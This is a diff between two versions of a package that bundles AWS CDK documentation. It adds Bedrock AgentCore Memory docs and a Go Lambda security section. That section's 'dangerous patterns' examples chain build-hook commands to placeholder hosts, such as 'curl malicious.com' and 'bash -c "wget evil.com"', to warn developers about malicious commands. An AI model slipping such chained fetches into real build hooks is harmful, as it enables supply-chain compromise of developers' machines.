konokenj.cdk-api-mcp-server 0.51.0__py3-none-any.whl → 0.53.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. cdk_api_mcp_server/__about__.py +1 -1
  2. cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-bedrock-agentcore-alpha/README.md +325 -3
  3. cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-lambda-go-alpha/README.md +102 -4
  4. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/README.md +9 -0
  5. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/integ.spec-restapi.ts +1 -0
  6. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2/README.md +93 -81
  7. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigatewayv2/integ.stage.ts +20 -4
  8. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-codebuild/README.md +0 -1
  9. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-iam/integ.managed-policy.ts +9 -0
  10. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-iam/integ.policy.ts +9 -0
  11. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesisfirehose/README.md +60 -3
  12. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-kinesisfirehose/integ.cloudwatch-logs-processors.ts +45 -0
  13. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.runtime.fromasset.ts +19 -4
  14. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-lambda/integ.runtime.inlinecode.ts +7 -0
  15. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/README.md +65 -4
  16. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-big-response.ts +13 -6
  17. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cloudfront.ts +20 -18
  18. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-nested-stack-source.ts +7 -1
  19. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-source.ts +6 -1
  20. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-ssm-source.ts +7 -1
  21. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-data.ts +83 -62
  22. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-deployed-bucket.ts +10 -4
  23. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-large-file.ts +20 -12
  24. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-loggroup.ts +7 -2
  25. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-efs.ts +77 -0
  26. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-empty.ts +69 -0
  27. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-multiple.ts +89 -0
  28. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-single.ts +77 -0
  29. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-signcontent.ts +11 -7
  30. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-destination-key.ts +15 -8
  31. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-role.ts +29 -14
  32. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution.ts +16 -8
  33. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-basic.ts +65 -0
  34. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-config.ts +66 -0
  35. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-custom-subnets.ts +66 -0
  36. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-efs.ts +66 -0
  37. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-security-groups.ts +72 -0
  38. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-subnet-selection.ts +70 -0
  39. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment.ts +47 -69
  40. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions/integ.sm-jsonpath-with-distributed-map-jsonata.ts +105 -0
  41. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/cx-api/FEATURE_FLAGS.md +11 -11
  42. {konokenj_cdk_api_mcp_server-0.51.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/METADATA +2 -2
  43. {konokenj_cdk_api_mcp_server-0.51.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/RECORD +46 -34
  44. {konokenj_cdk_api_mcp_server-0.51.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/WHEEL +0 -0
  45. {konokenj_cdk_api_mcp_server-0.51.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/entry_points.txt +0 -0
  46. {konokenj_cdk_api_mcp_server-0.51.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/licenses/LICENSE.txt +0 -0
@@ -1,4 +1,4 @@
1
1
  # SPDX-FileCopyrightText: 2025-present Kenji Kono <konoken@amazon.co.jp>
2
2
  #
3
3
  # SPDX-License-Identifier: MIT
4
- __version__ = "0.51.0"
4
+ __version__ = "0.53.0"
@@ -45,6 +45,11 @@ This construct library facilitates the deployment of Bedrock AgentCore primitive
45
45
  - [Code Interpreter Network Modes](#code-interpreter-network-modes)
46
46
  - [Basic Code Interpreter Creation](#basic-code-interpreter-creation)
47
47
  - [Code Interpreter IAM permissions](#code-interpreter-iam-permissions)
48
+ - [Memory](#memory)
49
+ - [Memory properties](#memory-properties)
50
+ - [Basic Memory Creation](#basic-memory-creation)
51
+ - [LTM Memory Extraction Stategies](#ltm-memory-extraction-stategies)
52
+ - [Memory Strategy Methods](#memory-strategy-methods)
48
53
 
49
54
 
50
55
  ## AgentCore Runtime
@@ -298,6 +303,10 @@ IAM authentication is the default mode, when no authorizerConfiguration is set t
298
303
  To configure AWS Cognito User Pool authentication:
299
304
 
300
305
  ```typescript
306
+ declare const userPool: cognito.UserPool;
307
+ declare const userPoolClient: cognito.UserPoolClient;
308
+ declare const anotherUserPoolClient: cognito.UserPoolClient;
309
+
301
310
  const repository = new ecr.Repository(this, "TestRepository", {
302
311
  repositoryName: "test-agent-runtime",
303
312
  });
@@ -307,9 +316,8 @@ const runtime = new agentcore.Runtime(this, "MyAgentRuntime", {
307
316
  runtimeName: "myAgent",
308
317
  agentRuntimeArtifact: agentRuntimeArtifact,
309
318
  authorizerConfiguration: agentcore.RuntimeAuthorizerConfiguration.usingCognito(
310
- "us-west-2_ABC123", // User Pool ID (required)
311
- "client123", // Client ID (required)
312
- "us-west-2" // Region (optional, defaults to stack region)
319
+ userPool, // User Pool (required)
320
+ [userPoolClient, anotherUserPoolClient], // User Pool Clients
313
321
  ),
314
322
  });
315
323
  ```
@@ -794,3 +802,317 @@ const codeInterpreter = new agentcore.CodeInterpreterCustom(this, "MyCodeInterpr
794
802
  },
795
803
  });
796
804
  ```
805
+
806
+ ## Memory
807
+
808
+ Memory is a critical component of intelligence. While Large Language Models (LLMs) have impressive capabilities, they lack persistent memory across conversations. Amazon Bedrock AgentCore Memory addresses this limitation by providing a managed service that enables AI agents to maintain context over time, remember important facts, and deliver consistent, personalized experiences.
809
+
810
+ AgentCore Memory operates on two levels:
811
+
812
+ - **Short-Term Memory**: Immediate conversation context and session-based information that provides continuity within a single interaction or closely related sessions.
813
+ - **Long-Term Memory**: Persistent information extracted and stored across multiple conversations, including facts, preferences, and summaries that enable personalized experiences over time.
814
+
815
+ When you interact with the memory via the `CreateEvent` API, you store interactions in Short-Term Memory (STM) instantly. These interactions can include everything from user messages, assistant responses, to tool actions.
816
+
817
+ To write to long-term memory, you need to configure extraction strategies which define how and where to store information from conversations for future use. These strategies are asynchronously processed from raw events after every few turns based on the strategy that was selected. You can't create long term memory records directly, as they are extracted asynchronously by AgentCore Memory.
818
+
819
+ ### Memory Properties
820
+
821
+ | Name | Type | Required | Description |
822
+ |------|------|----------|-------------|
823
+ | `memoryName` | `string` | Yes | The name of the memory |
824
+ | `expirationDuration` | `Duration` | No | Short-term memory expiration in days (between 7 and 365). Default: 90 days |
825
+ | `description` | `string` | No | Optional description for the memory. Default: no description. |
826
+ | `kmsKey` | `IKey` | No | Custom KMS key to use for encryption. Default: Your data is encrypted with a key that AWS owns and manages for you |
827
+ | `memoryStrategies` | `MemoryStrategyBase[]` | No | Built-in extraction strategies to use for this memory. Default: No extraction strategies (short term memory only) |
828
+ | `executionRole` | `iam.IRole` | No | The IAM role that provides permissions for the memory to access AWS services. Default: A new role will be created. |
829
+ | `tags` | `{ [key: string]: string }` | No | Tags for memory. Default: no tags. |
830
+
831
+ ### Basic Memory Creation
832
+
833
+ Below you can find how to configure a simple short-term memory (STM) with no long-term memory extraction strategies.
834
+ Note how you set `expirationDuration`, which defines the time the events will be stored in the short-term memory before they expire.
835
+
836
+ ```typescript fixture=default
837
+
838
+ // Create a basic memory with default settings, no LTM strategies
839
+ const memory = new agentcore.Memory(this, "MyMemory", {
840
+ memoryName: "my_memory",
841
+ description: "A memory for storing user interactions for a period of 90 days",
842
+ expirationDuration: cdk.Duration.days(90),
843
+ });
844
+ ```
845
+
846
+ Basic Memory with Custom KMS Encryption
847
+
848
+ ```typescript fixture=default
849
+ // Create a custom KMS key for encryption
850
+ const encryptionKey = new kms.Key(this, "MemoryEncryptionKey", {
851
+ enableKeyRotation: true,
852
+ description: "KMS key for memory encryption",
853
+ });
854
+
855
+ // Create memory with custom encryption
856
+ const memory = new agentcore.Memory(this, "MyMemory", {
857
+ memoryName: "my_encrypted_memory",
858
+ description: "Memory with custom KMS encryption",
859
+ expirationDuration: cdk.Duration.days(90),
860
+ kmsKey: encryptionKey,
861
+ });
862
+ ```
863
+
864
+ ### LTM Memory Extraction Stategies
865
+
866
+ If you need long-term memory for context recall across sessions, you can setup memory extraction strategies
867
+ to extract the relevant memory from the raw events.
868
+
869
+ Amazon Bedrock AgentCore Memory has different memory strategies for extracting and organizing information:
870
+
871
+ - **Summarization**: to summarize interactions to preserve critical context and key insights.
872
+ - **Semantic Memory**: to extract general factual knowledge, concepts and meanings from raw conversations using vector embeddings.
873
+ This enables similarity-based retrieval of relevant facts and context.
874
+ - **User Preferences**: to extract user behavior patterns from raw conversations.
875
+
876
+ You can use built-in extraction strategies for quick setup, or create custom extraction strategies with specific models and prompt templates.
877
+
878
+ ### Memory with Built-in Strategies
879
+
880
+ The library provides three built-in LTM strategies. These are default strategies for organizing and extracting memory data,
881
+ each optimized for specific use cases.
882
+
883
+ For example: An agent helps multiple users with cloud storage setup. From these conversations,
884
+ see how each strategy processes users expressing confusion about account connection:
885
+
886
+ 1. **Summarization Strategy** (`MemoryStrategy.usingBuiltInSummarization()`)
887
+ This strategy compresses conversations into concise overviews, preserving essential context and key insights for quick recall.
888
+ Extracted memory example: Users confused by cloud setup during onboarding.
889
+
890
+ - Extracts concise summaries to preserve critical context and key insights
891
+ - Namespace: `/strategies/{memoryStrategyId}/actors/{actorId}/sessions/{sessionId}`
892
+
893
+ 2. **Semantic Memory Strategy** (`MemoryStrategy.usingBuiltInSemantic()`)
894
+ Distills general facts, concepts, and underlying meanings from raw conversational data, presenting the information in a context-independent format.
895
+ Extracted memory example: In-context learning = task-solving via examples, no training needed.
896
+
897
+ - Extracts general factual knowledge, concepts and meanings from raw conversations
898
+ - Namespace: `/strategies/{memoryStrategyId}/actors/{actorId}`
899
+
900
+ 3. **User Preference Strategy** (`MemoryStrategy.usingBuiltInUserPreference()`)
901
+ Captures individual preferences, interaction patterns, and personalized settings to enhance future experiences.
902
+ Extracted memory example: User needs clear guidance on cloud storage account connection during onboarding.
903
+
904
+ - Extracts user behavior patterns from raw conversations
905
+ - Namespace: `/strategies/{memoryStrategyId}/actors/{actorId}`
906
+
907
+ ```typescript fixture=default
908
+ // Create memory with built-in strategies
909
+ const memory = new agentcore.Memory(this, "MyMemory", {
910
+ memoryName: "my_memory",
911
+ description: "Memory with built-in strategies",
912
+ expirationDuration: cdk.Duration.days(90),
913
+ memoryStrategies: [
914
+ agentcore.MemoryStrategy.usingBuiltInSummarization(),
915
+ agentcore.MemoryStrategy.usingBuiltInSemantic(),
916
+ agentcore.MemoryStrategy.usingBuiltInUserPreference(),
917
+ ],
918
+ });
919
+ ```
920
+
921
+ The name generated for each built in memory strategy is as follows:
922
+
923
+ - For Summarization: `summary_builtin_cdk001`
924
+ - For Semantic:`semantic_builtin_cdk001>`
925
+ - For User Preferences: `preference_builtin_cdk001`
926
+
927
+ ### Memory with custom Strategies
928
+
929
+ With Long-Term Memory, organization is managed through Namespaces.
930
+
931
+ An `actor` refers to entity such as end users or agent/user combinations. For example, in a coding support chatbot,
932
+ the actor is usually the developer asking questions. Using the actor ID helps the system know which user the memory belongs to,
933
+ keeping each user's data separate and organized.
934
+
935
+ A `session` is usually a single conversation or interaction period between the user and the AI agent.
936
+ It groups all related messages and events that happen during that conversation.
937
+
938
+ A `namespace` is used to logically group and organize long-term memories. It ensures data stays neat, separate, and secure.
939
+
940
+ With AgentCore Memory, you need to add a namespace when you define a memory strategy. This namespace helps define where the long-term memory
941
+ will be logically grouped. Every time a new long-term memory is extracted using this memory strategy, it is saved under the namespace you set.
942
+ This means that all long-term memories are scoped to their specific namespace, keeping them organized and preventing any mix-ups with other
943
+ users or sessions. You should use a hierarchical format separated by forward slashes /. This helps keep memories organized clearly. As needed,
944
+ you can choose to use the below pre-defined variables within braces in the namespace based on your applications' organization needs:
945
+
946
+ - `actorId` – Identifies who the long-term memory belongs to, such as a user
947
+ - `memoryStrategyId` – Shows which memory strategy is being used. This strategy identifier is auto-generated when you create a memory using CreateMemory operation.
948
+ - `sessionId` – Identifies which session or conversation the memory is from.
949
+
950
+ For example, if you define the following namespace as the input to your strategy in CreateMemory operation:
951
+
952
+ ```shell
953
+ /strategy/{memoryStrategyId}/actor/{actorId}/session/{sessionId}
954
+ ```
955
+
956
+ After memory creation, this namespace might look like:
957
+
958
+ ```shell
959
+ /strategy/summarization-93483043//actor/actor-9830m2w3/session/session-9330sds8
960
+ ```
961
+
962
+ You can customise the namespace, i.e. where the memories are stored by using the following methods:
963
+
964
+ 1. **Summarization Strategy** (`MemoryStrategy.usingSummarization(props)`)
965
+ 1. **Semantic Memory Strategy** (`MemoryStrategy.usingSemantic(props)`)
966
+ 1. **User Preference Strategy** (`MemoryStrategy.usingUserPreference(props)`)
967
+
968
+ ```typescript fixture=default
969
+ // Create memory with built-in strategies
970
+ const memory = new agentcore.Memory(this, "MyMemory", {
971
+ memoryName: "my_memory",
972
+ description: "Memory with built-in strategies",
973
+ expirationDuration: cdk.Duration.days(90),
974
+ memoryStrategies: [
975
+ agentcore.MemoryStrategy.usingUserPreference({
976
+ name: "CustomerPreferences",
977
+ namespaces: ["support/customer/{actorId}/preferences"]
978
+ }),
979
+ agentcore.MemoryStrategy.usingSemantic({
980
+ name: "CustomerSupportSemantic",
981
+ namespaces: ["support/customer/{actorId}/semantic"]
982
+ }),
983
+ ],
984
+ });
985
+ ```
986
+
987
+ Custom memory strategies let you tailor memory extraction and consolidation to your specific domain or use case.
988
+ You can override the prompts for extracting and consolidating semantic, summary, or user preferences.
989
+ You can also choose the model that you want to use for extraction and consolidation.
990
+
991
+ The custom prompts you create are appended to a non-editable system prompt.
992
+
993
+ Since a custom strategy requires you to invoke certain FMs, you need a role with appropriate permissions. For that, you can:
994
+
995
+ - Let the L2 construct create a minimum permission role for you when use L2 Bedrock Foundation Models.
996
+ - Use a custom role with the overly permissive `AmazonBedrockAgentCoreMemoryBedrockModelInferenceExecutionRolePolicy` managed policy.
997
+ - Use a custom role with your own custom policies.
998
+
999
+ #### Memory with Custom Execution Role
1000
+
1001
+ Keep in mind that memories that **do not** use custom strategies do not require a service role.
1002
+ So even if you provide it, it will be ignored as it will never be used.
1003
+
1004
+ ```typescript fixture=default
1005
+ // Create a custom execution role
1006
+ const executionRole = new iam.Role(this, "MemoryExecutionRole", {
1007
+ assumedBy: new iam.ServicePrincipal("bedrock-agentcore.amazonaws.com"),
1008
+ managedPolicies: [
1009
+ iam.ManagedPolicy.fromAwsManagedPolicyName(
1010
+ "AmazonBedrockAgentCoreMemoryBedrockModelInferenceExecutionRolePolicy"
1011
+ ),
1012
+ ],
1013
+ });
1014
+
1015
+ // Create memory with custom execution role
1016
+ const memory = new agentcore.Memory(this, "MyMemory", {
1017
+ memoryName: "my_memory",
1018
+ description: "Memory with custom execution role",
1019
+ expirationDuration: cdk.Duration.days(90),
1020
+ executionRole: executionRole,
1021
+ });
1022
+ ```
1023
+
1024
+ In customConsolidation and customExtraction, the model property uses the [@aws-cdk/aws-bedrock-alph](https://www.npmjs.com/package/@aws-cdk/aws-bedrock-alpha) library which must be installed separately.
1025
+
1026
+ ```typescript fixture=default
1027
+ // Create a custom semantic memory strategy
1028
+ const customSemanticStrategy = agentcore.MemoryStrategy.usingSemantic({
1029
+ name: "customSemanticStrategy",
1030
+ description: "Custom semantic memory strategy",
1031
+ namespaces: ["/custom/strategies/{memoryStrategyId}/actors/{actorId}"],
1032
+ customConsolidation: {
1033
+ model: bedrock.BedrockFoundationModel.ANTHROPIC_CLAUDE_3_5_SONNET_V1_0,
1034
+ appendToPrompt: "Custom consolidation prompt for semantic memory",
1035
+ },
1036
+ customExtraction: {
1037
+ model: bedrock.BedrockFoundationModel.ANTHROPIC_CLAUDE_3_5_SONNET_V1_0,
1038
+ appendToPrompt: "Custom extraction prompt for semantic memory",
1039
+ },
1040
+ });
1041
+
1042
+ // Create memory with custom strategy
1043
+ const memory = new agentcore.Memory(this, "MyMemory", {
1044
+ memoryName: "my-custom-memory",
1045
+ description: "Memory with custom strategy",
1046
+ expirationDuration: cdk.Duration.days(90),
1047
+ memoryStrategies: [customSemanticStrategy],
1048
+ });
1049
+ ```
1050
+
1051
+ ### Memory with self-managed Strategies
1052
+
1053
+ A self-managed strategy in Amazon Bedrock AgentCore Memory gives you complete control over your memory extraction and consolidation pipelines.
1054
+ With a self-managed strategy, you can build custom memory processing workflows while leveraging Amazon Bedrock AgentCore for storage and retrieval.
1055
+
1056
+ For additional information, you can refer to the [developer guide for self managed strategies](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/memory-self-managed-strategies.html).
1057
+
1058
+ Create the required AWS resources including:
1059
+
1060
+ - an S3 bucket in your account where Amazon Bedrock AgentCore will deliver batched event payloads.
1061
+ - an SNS topic for job notifications. Use FIFO topics if processing order within sessions is important for your use case.
1062
+
1063
+ The construct will apply the correct permissions to the memory execution role to access these resources.
1064
+
1065
+ ```typescript fixture=default
1066
+
1067
+ const bucket = new s3.Bucket(this, 'memoryBucket', {
1068
+ bucketName: 'test-memory',
1069
+ removalPolicy: cdk.RemovalPolicy.DESTROY,
1070
+ autoDeleteObjects: true,
1071
+ });
1072
+
1073
+ const topic = new sns.Topic(this, 'topic');
1074
+
1075
+ // Create a custom semantic memory strategy
1076
+ const selfManagedStrategy = agentcore.MemoryStrategy.usingSelfManaged({
1077
+ name: "selfManagedStrategy",
1078
+ description: "self managed memory strategy",
1079
+ historicalContextWindowSize: 5,
1080
+ invocationConfiguration: {
1081
+ topic: topic,
1082
+ s3Location: {
1083
+ bucketName: bucket.bucketName,
1084
+ objectKey: 'memory/',
1085
+ }
1086
+ },
1087
+ triggerConditions: {
1088
+ messageBasedTrigger: 1,
1089
+ timeBasedTrigger: cdk.Duration.seconds(10),
1090
+ tokenBasedTrigger: 100
1091
+ }
1092
+ });
1093
+
1094
+ // Create memory with custom strategy
1095
+ const memory = new agentcore.Memory(this, "MyMemory", {
1096
+ memoryName: "my-custom-memory",
1097
+ description: "Memory with custom strategy",
1098
+ expirationDuration: cdk.Duration.days(90),
1099
+ memoryStrategies: [selfManagedStrategy],
1100
+ });
1101
+ ```
1102
+
1103
+ ### Memory Strategy Methods
1104
+
1105
+ You can add new memory strategies to the memory construct using the `addMemoryStrategy()` method, for instance:
1106
+
1107
+ ```typescript fixture=default
1108
+ // Create memory without initial strategies
1109
+ const memory = new agentcore.Memory(this, "test-memory", {
1110
+ memoryName: "test_memory_add_strategy",
1111
+ description: "A test memory for testing addMemoryStrategy method",
1112
+ expirationDuration: cdk.Duration.days(90),
1113
+ });
1114
+
1115
+ // Add strategies after instantiation
1116
+ memory.addMemoryStrategy(agentcore.MemoryStrategy.usingBuiltInSummarization());
1117
+ memory.addMemoryStrategy(agentcore.MemoryStrategy.usingBuiltInSemantic());
1118
+ ```
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170
170
  });
171
171
  ```
172
172
 
173
+ **⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174
+
173
175
  By default this construct doesn't use any Go module proxies. This is contrary to
174
176
  a standard Go installation, which would use the Google proxy by default. To
175
177
  recreate that behavior, do the following:
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
200
202
 
201
203
  ## Command hooks
202
204
 
203
- It is possible to run additional commands by specifying the `commandHooks` prop:
205
+ It is possible to run additional commands by specifying the `commandHooks` prop:
204
206
 
205
- ```text
206
- // This example only available in TypeScript
207
+ ```ts
207
208
  // Run additional commands on a GoFunction via `commandHooks` property
208
209
  new go.GoFunction(this, 'handler', {
210
+ entry: 'cmd/api',
209
211
  bundling: {
210
212
  commandHooks: {
211
213
  // run tests
212
214
  beforeBundling(inputDir: string): string[] {
213
215
  return ['go test ./cmd/api -v'];
214
216
  },
215
- // ...
217
+ afterBundling(inputDir: string, outputDir: string): string[] {
218
+ return ['echo "Build complete"'];
219
+ },
216
220
  },
217
221
  },
218
222
  });
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
230
234
  The commands will run in the environment in which bundling occurs: inside the
231
235
  container for Docker bundling or on the host OS for local bundling.
232
236
 
237
+ ### ⚠️ Security Considerations
238
+
239
+ **Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
240
+
241
+ **Safe patterns (cross-platform):**
242
+
243
+ ```ts
244
+ new go.GoFunction(this, 'SafeFunction', {
245
+ entry: 'cmd/api',
246
+ bundling: {
247
+ commandHooks: {
248
+ beforeBundling: () => [
249
+ 'go test ./...', // ✅ Standard Go commands work on all OS
250
+ 'go mod tidy', // ✅ Go module commands
251
+ 'make clean', // ✅ Build tools (if available)
252
+ 'echo "Building app"', // ✅ Simple output with quotes
253
+ ],
254
+ afterBundling: () => ['echo "Build complete"'],
255
+ },
256
+ },
257
+ });
258
+ ```
259
+
260
+ **Dangerous patterns to avoid:**
261
+
262
+ *Windows-specific dangers:*
263
+
264
+ ```ts
265
+ // ❌ Windows-specific dangers
266
+ new go.GoFunction(this, 'UnsafeWindowsFunction', {
267
+ entry: 'cmd/api',
268
+ bundling: {
269
+ commandHooks: {
270
+ beforeBundling: () => [
271
+ 'go test & curl.exe malicious.com', // ❌ Command chaining with &
272
+ 'echo %USERPROFILE%', // ❌ Environment variable expansion
273
+ 'powershell -Command "..."', // ❌ PowerShell execution
274
+ ],
275
+ afterBundling: () => [],
276
+ },
277
+ },
278
+ });
279
+ ```
280
+
281
+ *Unix/Linux/macOS dangers:*
282
+
283
+ ```ts
284
+ // ❌ Unix/Linux/macOS dangers
285
+ new go.GoFunction(this, 'UnsafeUnixFunction', {
286
+ entry: 'cmd/api',
287
+ bundling: {
288
+ commandHooks: {
289
+ beforeBundling: () => [
290
+ 'go test; curl malicious.com', // ❌ Command chaining with ;
291
+ 'echo $(whoami)', // ❌ Command substitution
292
+ 'bash -c "wget evil.com"', // ❌ Shell execution
293
+ ],
294
+ afterBundling: () => [],
295
+ },
296
+ },
297
+ });
298
+ ```
299
+
300
+ **When using third-party constructs** that include `GoFunction`:
301
+
302
+ * Review the construct's source code before use
303
+ * Verify what commands it executes via `commandHooks` and `goBuildFlags`
304
+ * Only use constructs from trusted publishers
305
+ * Test in isolated environments first
306
+
307
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
308
+
309
+ For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
310
+
311
+ ## Security Best Practices
312
+
313
+ ### Third-Party Construct Safety
314
+
315
+ When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
316
+
317
+ 1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
318
+ 2. **Verify publishers** - Use constructs only from trusted, verified sources
319
+ 3. **Pin versions** - Use exact versions to prevent supply chain attacks
320
+ 4. **Isolated testing** - Test third-party constructs in sandboxed environments
321
+
322
+ **Before using any third-party construct:**
323
+
324
+ * Review the construct's source code on GitHub or npm
325
+ * Search for `commandHooks` and `goBuildFlags` usage in the code
326
+ * Verify no dangerous command patterns are present
327
+ * Use exact version pinning to prevent supply chain attacks
328
+
329
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
330
+
233
331
  ## Additional considerations
234
332
 
235
333
  Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.
@@ -1652,6 +1652,15 @@ const api = new apigateway.SpecRestApi(this, 'books-api', {
1652
1652
  });
1653
1653
  ```
1654
1654
 
1655
+ `SpecRestApi` also supports binary media types, similar to `RestApi`:
1656
+
1657
+ ```ts
1658
+ const api = new apigateway.SpecRestApi(this, 'books-api', {
1659
+ apiDefinition: apigateway.ApiDefinition.fromAsset('path-to-file.json'),
1660
+ binaryMediaTypes: ['image/png', 'application/pdf']
1661
+ });
1662
+ ```
1663
+
1655
1664
  ### Endpoint configuration
1656
1665
 
1657
1666
  By default, `SpecRestApi` will create an edge optimized endpoint.
@@ -14,6 +14,7 @@ class Test extends cdk.Stack {
14
14
  apiDefinition: apigateway.ApiDefinition.fromAsset(path.join(__dirname, 'sample-definition.yaml')),
15
15
  disableExecuteApiEndpoint: true,
16
16
  minCompressionSize: Size.bytes(1024),
17
+ binaryMediaTypes: ['image/png', 'application/pdf'],
17
18
  retainDeployments: true,
18
19
  cloudWatchRole: true,
19
20
  deployOptions: {